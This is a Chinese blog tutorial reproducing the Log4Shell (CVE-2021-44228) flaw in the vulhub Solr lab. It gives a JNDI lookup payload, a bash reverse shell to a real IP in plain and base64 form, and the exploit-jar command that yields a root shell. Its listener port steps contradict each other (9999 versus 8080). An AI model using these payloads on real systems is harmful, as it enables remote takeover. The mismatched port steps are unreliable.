vulhub-master 靶场log4j CVE-2021-44228漏洞

发布于:2025-07-26 ⋅ 阅读:(29) ⋅ 点赞:(0)

前言

log4j2 是Apache的⼀个java⽇志框架,我们借助它进⾏⽇志相关操作管理,然⽽在2021年末
log4j2爆出了远程代码执⾏漏洞,属于严重等级的漏洞。

String a = "变量输⼊"LOGGER.info("⽇志信息:{}",a);
我们通过这样的语句输出了⼀句⽇志信息,其中{}的部分由我们传进去的变量决定,当然⼀般我们传进去的都是⼀些很普通的语句,所以不会出什么问题。但如果我们往⾥⾯传⼀些别的代码呢,⽐如传⼀个${java.os}这样的语句,执⾏后可以看到它执⾏了java.os的内容把我们操作系统的信息显示出来了,看到这⾥很多⼈⽴⻢想到:这⾥可能会存在注⼊攻击,类似我们熟悉的XSS注⼊、SQL注⼊等等。当然这⾥输⼊的信息因为是⽇志的信息,⽤户是看不到的,所以显示了也没啥影响,但是实际上这⾥是存在着JNID注⼊的。

在这里我进行一次漏洞复现,我用的方法有两个前提条件,1、要有一个公网上的有公网IP的服务器,2、你要有JNDI-Injection-Exploit-1.0-SNAPSHOT-all(没有的话从网上下载一个)

漏洞复现步骤

验证是否存在漏洞

首先,进去靶场长这样

我们利用dnslog.cn网站,这个网站可以生成一个域名,当有人访问这个域名或者他的子域名时,网站里会有记录。我们生成一个域名,可以看到是zr6zgf.dnslog.cn

可以看到此时是没有记录的,我们在靶场url后输入/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.zr6zgf.dnslog.cn},这句话的意思是访问${sys:java.version}.zr6zgf.dnslog.cn,其中${sys:java.version}会被解析成java版本,回车

dnslog.cn网站显示如下,可以看到确实有访问的记录,并且Java版本也可以看出来。

这证明确实存在漏洞,那好我们接下来继续深入

一、上传JNDI-Injection-Exploit-1.0-SNAPSHOT-all

把JNDI-Injection-Exploit-1.0-SNAPSHOT-all上传到自己服务器上

二、监听端口

新开一个界面,输入nc -lvnp 9999,这个命令的意思是持续监听8080端口

如果是第一次用nc可能会找不到命令,用yum install nc 下载一下就好了

三、生成恶意代码

我们这里用的是反弹shell,先构造反弹shell语句:bash -i >& /dev/tcp/59.110.83.22/8080 0>&1

这里IP地址就填刚刚配置的服务器地址,IP斜杠后面写刚刚监听的端口号

把语句base64编码,在线base64编码有的不准确,大家记得多找几个对照一下

编码结果是:YmFzaCAtaSA+JiAvZGV2L3RjcC81OS4xMTAuODMuMjIvODA4MCAwPiYx

构造命令模板:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,经过base64编码后的命令}|{base64,-d}|{bash,-i}" -A "你的ip"

套用到这里就是

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81OS4xMTAuODMuMjIvODA4MCAwPiYx}|{base64,-d}|{bash,-i}" -A "59.110.83.22"

咱们把这个命令放到服务器上执行,JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar在哪个目录就在哪个目录执行,第一次可能没有java,yum install java下载一下就可以了

执行出来以后可以看到构造出了五个,咱们选JDK 1.8的ldap:

构造:/solr/admin/cores?action=${jndi:ldap://59.110.83.22:1389/ar5mr7}

把JDK 1.8的ldap:填到对应位置

四、getshell

把这个东西复制粘贴到靶场url后面,回车。

再看我们服务器的监听页面,getshell了,而且还是root权限。


网站公告

今日签到

点亮在社区的每一天
去签到